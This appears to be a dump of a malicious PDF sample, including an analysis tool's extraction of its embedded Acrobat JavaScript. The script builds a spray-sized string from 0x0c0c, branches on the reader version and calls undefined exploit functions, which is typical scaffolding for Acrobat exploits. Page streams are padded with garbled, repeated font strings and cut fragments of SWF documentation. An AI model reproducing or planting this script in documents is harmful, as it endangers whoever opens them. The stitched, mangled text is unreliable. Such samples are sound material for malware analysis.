var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);
console.println("Document name: " + this.documentFileName);
// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}
try
{
var aaa = myXML;
var bbb = "cccccccc";
var ccc = "dddddddd";
ddd = ccc.substring(0, (0x0c0c-0x24)/2);
ddd += bbb;
ddd += ccc;              
if (app.viewVersion >=9)
{
asd(myXML);
}
else if (app.viewVersion >=8)
{
bsd(myXML);
}
if (app.viewVersion >=7)
{
csd(myXML);
}
}
catch(e){xx()}

endstream 
endobj 
33 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
32 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
31 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj 
40 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
39 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
38 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj xref
0 45
0000000000 65535 f 
0000000015 00000 n 
0000009212 00000 n 
0000000095 00000 n 
0000026825 00000 n 
0000000603 00000 n 
0000000404 00000 n 
0000000206 00000 n 
0000018319 00000 n 
0000018120 00000 n 
0000017921 00000 n 
0000042816 00000 n 
0000042616 00000 n 
0000042417 00000 n 
0000000802 00000 n 
0000009614 00000 n 
0000001256 00000 n 
0000000896 00000 n 
0000001418 00000 n 
0000001076 00000 n 
0000005041 00000 n 
0000000838 00000 n 
0000009370 00000 n 
0000009254 00000 n 
0000051323 00000 n 
0000051373 00000 n 
0000009320 00000 n 
0000027362 00000 n 
0000009759 00000 n 
0000009886 00000 n 
0000018518 00000 n 
0000062143 00000 n 
0000058520 00000 n 
0000054349 00000 n 
0000018663 00000 n 
0000018790 00000 n 
0000026860 00000 n 
0000043016 00000 n 
0000070099 00000 n 
0000066476 00000 n 
0000062305 00000 n 
0000043161 00000 n 
0000043288 00000 n 
0000051423 00000 n 
0000052721 00000 n 
trailer

<<
/Root 1 0 R
/Size 45
>>
startxref
70260
%%EOF
javascript_obj0043_004.js pdf-javascript-stream PDF /JS object 43 at offset 0xC903 19769 bytes
SHA-256: 5ed150beadda203438d1511b0aed1b5fc7513e93b7daaeb5696df9d55bb3ea21
Preview script
First 1,000 lines of the extracted script
function xx()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);

// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}

                



endstream 
endobj 
44 0 obj 
<<
/Length 1572
>>
stream
function yy()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);
console.println("Document name: " + this.documentFileName);
// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}
try
{
var aaa = myXML;
var bbb = "cccccccc";
var ccc = "dddddddd";
ddd = ccc.substring(0, (0x0c0c-0x24)/2);
ddd += bbb;
ddd += ccc;              
if (app.viewVersion >=9)
{
asd(myXML);
}
else if (app.viewVersion >=8)
{
bsd(myXML);
}
if (app.viewVersion >=7)
{
csd(myXML);
}
}
catch(e){xx()}

endstream 
endobj 
33 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
32 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
31 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
